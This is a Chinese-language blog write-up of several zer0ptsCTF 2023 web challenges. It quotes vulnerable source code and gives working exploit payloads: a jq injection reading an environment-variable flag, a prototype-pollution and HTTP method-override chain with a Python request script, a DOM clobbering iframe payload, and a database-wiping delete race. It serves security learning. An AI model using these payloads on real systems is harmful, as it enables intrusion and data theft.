0%

zer0ptsCTF2023

zer0ptsCTF2023

只用上班一天,好耶。一堆前端题,又是一场xss大师赛,不会做捏。因为打了点输出就可以记录了
题目感觉质量都还行,确实也如他们所说,没有要猜的题。难度,我能做出来,所以应该不算很难。嗯
感觉如果打两天的话就能ak了,可惜。不过ak也和我没什么关系

warmup profile

签到,其实也还是有一定的难度的。目标是登录admin的账户获取flag。

使用了一个叫sequelize的库连接数据库,顶级防御,无SQL注入,且登录注册时严格校验了输入不为空且类型为字符串,看起来就觉得只有delete那块可能有洞

app.post('/user/:username/delete', needAuth, async (req, res) => {
    const { username } = req.params;
    const { username: loggedInUsername } = req.session;
    if (loggedInUsername !== 'admin' && loggedInUsername !== username) {
        flash(req, 'general user can only delete itself');
        return res.redirect('/');
    }

    // find user to be deleted
    const user = await User.findOne({
        where: { username }
    });

    await User.destroy({
        where: { ...user?.dataValues }
    });

    // user is deleted, so session should be logged out
    req.session.destroy();
    return res.redirect('/');
});

但是只有admin用户才能删任意用户,普通用户只能删自己。删除是通过寻找到当前用户实例再删的。实际上用户名不允许重复,直接使用用户名删也是可以的,所以这就是漏洞所在。

可以开两浏览器同时登陆一个账号,第一个浏览器先自我删号,第二个浏览器再删号,这时find就没法找到对应的用户数据了,而destroy的where字段传入空对象时,会将整个数据库删掉,接下来重新注册一个admin账户即可获取flag

该题显然环境不能共享,所以是所有web题里唯一一个启动docker的独立环境。

jqi

代码量也不大,就是能用jq进行查询,然后flag被放在环境变量里面,过滤也不是很严格,并且最后需要是一个盲注。

jq是一个能够处理json的特殊工具,玄学json查询语法
这个题和我没什么关系,天哥秒了

    const KEYS = ['name', 'tags', 'author', 'flag'];
    const keys = 'keys' in request.query ? request.query.keys.toString().split(',') : KEYS;
    const conds = 'conds' in request.query ? request.query.conds.toString().split(',') : [];

    // build query for selecting keys
    for (const key of keys) {
        if (!KEYS.includes(key)) {
            return reply.send({ error: 'invalid key' });
        }
    }
    const keysQuery = keys.map(key => {
        return `${key}:.${key}`
    }).join(',');

    // build query for filtering results
    let condsQuery = '';

    for (const cond of conds) {
        const [str, key] = cond.split(' in ');
        if (!KEYS.includes(key)) {
            return reply.send({ error: 'invalid key' });
        }

        // check if the query is trying to break string literal
        if (str.includes('"') || str.includes('\\(')) {
            return reply.send({ error: 'hacking attempt detected' });
        }

        condsQuery += `| select(.${key} | contains("${str}"))`;
    }

    let query = `[.challenges[] ${condsQuery} | {${keysQuery}}]`;
    
    let result;
    try {
        result = await jq.run(query, './data.json', { output: 'json' });
    } catch(e) {
        return reply.send({ error: 'something wrong' });
    }
    console.log('[+] result:', result)
    if (conds.length > 0) {
        reply.send({ error: 'sorry, you cannot use filters in demo version' });
    } else {
        reply.send(result);
    }

本来是在想有没有可能任意文件读,或者jq.run那里能不能直接注入rce之类的,看半天没有用
keys和conds都用户可控,使用了cond后就没有回显了,只能盲注。天哥发现jq可以直接使用$ENV.FLAG直接访问环境变量,那现在就只要找个注入了

这里的过滤禁用了引号,还禁用了\\(,后面这个禁用不知道有什么用。禁用引号并且还能同时控制多段内容,使用经典的反斜杠转义配合注释符即可进行注入,翻了下文档注释符是井号#

所以令cond为\+in+name,))+|+payload]%23+in+flag即可完成逃逸,不过这样子会导致查询的内容有一个限制条件是contains("xxxxxxx"),其中的内容是被我们转义引号吞掉的大量合法内容,这种情况下查出来的一定是一个空结果,所以还得找其他办法。比如使用or关键字就能保证后续的操作能够继续执行

最后一点是盲注,首先需要一位位的进行查询,这里有一个explode关键字,可以将字符串转换为ascii码,其次是需要在查询正确或失败时产生一个错误,才能使得服务端有不同的回显,实现盲注流程。

这里直接抄天哥最后的payload

a\ in name,) or ($ENV.FLAG|explode|.[0] ==111))|$ENV.FLAG|.aaa]# in tags

然后二分写出来的时候估计硬爆早爆完了,所以直接硬爆

Plain Blog

XSS题,一个前后端分离,后端用ruby写的怪东西
留言板,可以随便写留言,但是没有xss,有一个bot,bot可以帮用户点1k个赞,或者修改post的属性
目标是获取到1万亿个赞,此时就会将post中的permission属性下的flag修改为true,即可使用该post获取flag。该但是题目中有顶级限制,如果当前like加上获取到的like超过5000,就不会再往上加了,一开始以为是整数溢出之类的,后来测了一下,ruby好像溢出不动,能按到300多位十进制,超出这个数后会变成正无穷,反正就是不溢出。所以正常点赞这条路肯定是走不通的。应当考虑如何直接把permission的flag修改为true

    likes = (params['likes'] || 1).to_i
    if !is_admin && likes != 1
        return { 'error' => 'you can add only one like at one time' }.to_json
    end

    if (posts[id]['like'] + likes) > MAX_LIKES
        return { 'error' => 'too much likes' }.to_json
    end
    posts[id]['like'] += likes

    # get 1,000,000,000,000 likes to capture the flag!
    if posts[id]['like'] >= 1_000_000_000_000
        posts[id]['permission']['flag'] = true
    end

这里有一个put路由,就可以修改用户post的属性,但仅支持put方法请求。。。

put '/api/post/:id' do
    token = request.env['HTTP_AUTHORIZATION']
    is_admin = token == ADMIN_KEY

    id = params['id']
    if !posts.key?(id)
        return { 'error' => 'no such post' }.to_json
    end

    id = params['id']
    if SAMPLE_IDS.include?(id)
        return { 'error' => 'sample post should not be updated' }.to_json
    end

    if !is_admin && params['permission']
        return { 'error' => 'only admin can change the parameter' }.to_json
    end

    if !(params['title'] || params['content'])
        return { 'error' => 'no title and content specified' }.to_json
    end

    posts[id].merge!(params)
    return posts[id].to_json
end

但是只有admin用户可以修改用户的permission属性,所以目标应该是让bot帮我们发出对应的请求。注意这里虽然只检查了这几个属性,但最后是直接将用户输入进行merge进去的,也就是可以给post添加任何属性,这里的post数据类型类似于python的字典,所以是可以随便加其他内容的。比如把like改到一万亿,可惜改了也没有用,过不了加法处的检测。

转到前端,看一眼不能xss的情况下怎么让bot发送请求吧。bot访问页面后会点击点赞按钮。所以这个过程中会有如下的代码被调用。


        function request(method, path, body=null) {
            const options = {
                method,
                mode: 'cors'
            };

            if (body != null) {
                options.body = body;
            }

            const baseUrl = isAdmin ? '<?= API_BASE_URL_FOR_ADMIN ?>' : '<?= API_BASE_URL ?>';
            return fetch(`${baseUrl}${path}`, options);
        }

        async function addLike(id, likes) {
            const formData = new FormData();
            formData.append('likes', likes);
            return await (await request('POST', `/api/post/${id}/like`, formData)).json();
        }

        async function renderPage() {
            const params = new URLSearchParams(location.hash.slice(1));
            const page = params.get('page') || 'index';
            isAdmin = !!params.get('admin');
            
            .......

            if (page === 'post' && params.has('id')) {
                const ids = params.get('id').split(',');

                const types = {
                    title: 'string', content: 'string', like: 'number'
                };
                let posts = {}, data, post;
                for (const id of ids) {
                    try {
                        const res = await (await request('GET', `/api/post/${id}`)).json();
                        // ToDo: implement error handling
                        if (res.post) {
                            data = res.post;
                        }

                        // to allow duplicate id but show only once
                        if (!(id in posts)) {
                            posts[id] = {};
                        }
                        post = posts[id];

                        // type check
                        for ([key, value] of Object.entries(data)) {
                            // we don't care the types of properties other than title, content, and like
                            // because we don't use them
                            if (key in types && typeof value !== types[key]) {
                                continue;
                            }

                            post[key] = value;
                        }
                    } catch {}
                }

                content.innerHTML = '';
                for (const [id, post] of Object.entries(posts)) {
                    content.appendChild(await renderPost(id, post, isAdmin ? 1000 : 1));
                }
            }
        }

renderPage在页面onload的时候触发,完成后bot会点赞,触发addLike函数。

renderPage会从hash中获取id,并使用逗号分隔循环get访问后端,将得到的结果依次赋值,最后进行渲染。
这里的注释其实给出了蛮多提示,比如那个todo就是一个明显的漏洞点,在for循环里面如果拿到了错误数据至少得continue掉后面的内容,而这里是直接忽略。然后后面那个有点奇怪的赋值,看起来就很原型链污染。加上这里的注释提到不管title, content, and like以外的键值对,更是给污染提供了操作的余地。

但显然,如果id为__proto__,就可以通过data进行原型链污染,加上之前提到过 ,后端的put路由使用merge进行赋值,可以给数据添加任意键值对,但是id为__proto__时必然无法查询到对应的数据,这时就要用到todo注释处的直接跳过,可以提供id为uuid,__proto__,这样子data会在第一轮查询时被赋值,而查询__proto__时会因为res.post不存在而被跳过赋值,继续使用之前的data,实现污染。

写一个简单脚本将特定的post添加键值对。

url = "http://plain-blog.2023.zer0pts.com:8400/api/post/8c835b2d-9207-4445-9ed9-4f2eed19a2ab"
res = requests.put(url, data={"headers[X-HTTP-Method-Override]": "PUT", "title": "123", "content": "456"})
print(res.text)

当然,bot段似乎还有一个过滤,不过仔细一看就会发现,其实是写的很抽象的

    if (!/[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[0-9a-f]{4}-[0-9a-f]{12}/.test(id)) {
        console.error('[!] id:', id);
        return;
    }

这里只需要id中有一个uuid就行了,所以uuid后再接一个proto也能通过,可以顺利提交给bot。

污染完了就要看接下来怎么伪造请求了,由于后端的修改请求是PUT类型,而这里一共两个请求,一个是request('GET', `/api/post/${id}`),另一个是request('POST', `/api/post/${id}/like`, formData),两个的method都无法控制,并且request中指明了cors需要发送预检请求,后端有这样一段配置

        requested_headers = (request.env['HTTP_ACCESS_CONTROL_REQUEST_HEADERS'] || '').gsub(/\s/, '').split(',')
        # enumerate requested headers for Access-Control-Allow-Headers
        requested_headers.filter! do |h|
            h.downcase() == 'authorization' || \
            h.downcase().start_with?('x-') # if it starts with X-, then it's safe, I think
        end

        # admin uses Authorization header
        if !requested_headers.include?('authorization')
            requested_headers.push('authorization')
        end

        headers \
            'Access-Control-Allow-Origin' => origin,
            'Access-Control-Allow-Headers' => requested_headers.join(', '),
            'Access-Control-Allow-Methods' => 'GET, POST, OPTIONS' # ToDo: add PUT method after implementing `PUT /api/post/:id` properly

刚好没有配置put请求的cors,即使能发送put请求也会被跨域给拦截下来。但是这里同样有另一个很奇怪的配置,并且附上了很奇怪的注释

h.downcase().start_with?(‘x-‘) # if it starts with X-, then it’s safe, I think

我直接大胆猜测存在某个x-开头的http header具有奇怪的功能,然后就发现了它:X-HTTP-Method-Override,该header可以无视实际的请求类型,将该请求更改为其他的请求类型,如果能在请求中添加这个header,get请求也能变成put请求,而由于实际上还是get请求,cors也能通过,简直完美。同理,request中因为是get请求,不会有body,污染还能顺带污染一个body上去,把需要修改的内容也塞进去,无敌。已经通了

起码我吃晚饭前是这么想的。然后吃晚饭后发现并打不通

payload应该是uuid,__proto__,uuid,然后bot会在第三个uuid时发送request,其中有被我污染的header和body,但是请求没有发出去,控制台上也没有任何报错。最后发现是代码在这里套了一层try catch,而catch的内容是catch {},直接忽略了错误,这样子断点也打不下去,都不知道是发生了什么错误,最后手动在控制台复现,发现是这么个报错:Request with GET/HEAD method cannot have body,大坏,找了半天似乎发现这个点无法绕过,差点就感觉凉了。

最后是whj发现ruby的这个sinatra框架的params是可以接受get参数的,且get情况下X-HTTP-Method-Override没有用,但发现sinatra有一个特性是支持post中的_method字段,拥有和X-HTTP-Method-Override相同的功能,故尝试直接注入点赞处的post请求,使用query参数把后面的like吞掉,发送请求

最后试的时候发现我用id=8c835b2d-9207-4445-9ed9-4f2eed19a2ab?,__proto__发送请求,点赞时触发的回复内容是'no title and content specified',也就是put路由下的回显,最后梭一把id=8c835b2d-9207-4445-9ed9-4f2eed19a2ab?content=1111%26title=222%26permission[flag]=1,__proto__完成利用

最后反复测了几次,感觉是X-HTTP-Method-Override只在post情况下生效,所以之前不成功。

ScoreShare

另一个前端题,这个题感觉最后差一点做出来,由于是第二天白天开始看的,中午十一点就结束了,最后也没做出来,结束之后也就算了

这个题用了一个玄学js框架来渲染,要求是进行xss。主要代码如下

async function defaultConfig() {
    // Use cache if available
    if (window.config) return window.config;
    // Otherwise get config
    let promise = await fetch('/api/config');
    let config = await promise.json();
    return window.config = config;
}

async function loadScore(sid) {
    let promise = await fetch(`/api/score/${sid}`);
    return await promise.text();
}

window.onload = async() => {
    let config = await defaultConfig();
    let abc = await loadScore(document.getElementById('sid').value);
    document.getElementById('abc').value = abc;

    let synth = { el: '#audio' };
    if (typeof config !== 'undefined') {
        for (let i = 0; i < config.synth_options.length; i++) {
            let option = config.synth_options[i];
            if (typeof option.value === 'object') {
                if (synth[option.name] === undefined)
                    synth[option.name] = {};
                let param = synth[option.name];
                Object.getOwnPropertyNames(option.value).forEach(key => {
                    param[key] = option.value[key];
                });
            } else {
                synth[option.name] = option.value;
            }
        }
    }

    new ABCJS.Editor('abc', { paper_id: 'paper', synth });
};

漏洞点在defaultConfig处,由于使用的是window.config,导致用户可以使用dom clobbering控制其内容,当前页面下有一个iframe,其内容用户可控

<iframe sandbox="allow-same-origin" name="{{ title }}" src="{{ link }}"></iframe>

令其name为config,即可控制window.config,然后在下面config.synth_options就可以一通操作

同时,前端代码有一个api路由,可以返回用户输入的string,此处的link填api路由就能完全控制iframe的内容

@app.route("/api/score/<sid>")
def api_score(sid: str):
    abc = db().hget(sid, 'abc')
    if abc is None:
        return flask.abort(404)
    else:
        return flask.Response(abc)

使用 Dom Clobbering 扩展 XSS
看路队的博客,可以通过iframe src doc和a标签顶级套娃,一路控制属性,实现原型链污染。不过最后污染进去的是a标签的内容,不是很好完全控制,最后打了个污染但是xss不出来,凉。
我以前还以为srcdoc会跨域来着,居然不会,玄学。
抄一个天哥的payload,最后赛后天哥说可以通过污染warning属性来xss

<iframe name=synth_options srcdoc="<iframe srcdoc='<a id=value name=loopHandler href=23333>test</a><a id=value><a id=value name=repeatTitle href=byc>test</a>' name='__proto__'>"></iframe>

没仔细看,猛摆

Neko Note

这个题我没看,好像是有一个简单的xss点,可以在a标签里面xss,使用onfocus和autofocus自动触发。然后好像是bot会先输入密码,再把密码删掉,最后再触发xss?最后反正是需要把那个密码恢复出来。一开始他们按的是history.back,觉得用回退键可以恢复,但是按了半天没效果

最后是全知全能的rmb拿出来一个究极document.execCommand('undo');,该命令约等于Ctrl+z,撤销修改,一键还原密码。
说起来这个命令感觉在以前那个shadow dom的题里面见过,好像是可以用find一类的命令当Ctrl+f用,以选中shadow dom内的元素

还得是rmb,太吊了8

Ringtone

也没看,点开是个Chrome插件题就直接关了,插件一个字没写过,就懂一点点基础概念。

反正最后rmb究极输出,可惜在比赛结束后二十多分钟才做出来,可惜可惜。